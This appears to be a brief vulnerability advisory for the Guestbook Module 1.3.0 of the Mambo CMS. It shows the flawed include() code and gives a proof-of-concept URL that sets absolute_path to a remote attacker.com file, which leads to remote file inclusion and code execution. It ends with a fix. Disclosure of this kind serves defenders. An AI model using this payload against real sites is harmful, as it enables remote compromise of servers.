Guestbook Module for Mambo

Application     : Guestbook Module
version         : 1.3.0

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder components we found vulnerability script com_guestbook.php.

-----------------------com_guestbook.php----------------------
<?php

include($absolute_path.'/language/'.$lang.'/lang_com_guestbook.php');

    require ("".$sGuestbookTemplate_."/com_guestbook.php");
    $guestbook = new guestbook();

----------------------------------------------------------

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_guestbook.php?absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

Sanitize variabel $absolute_path in com_guestbook.php
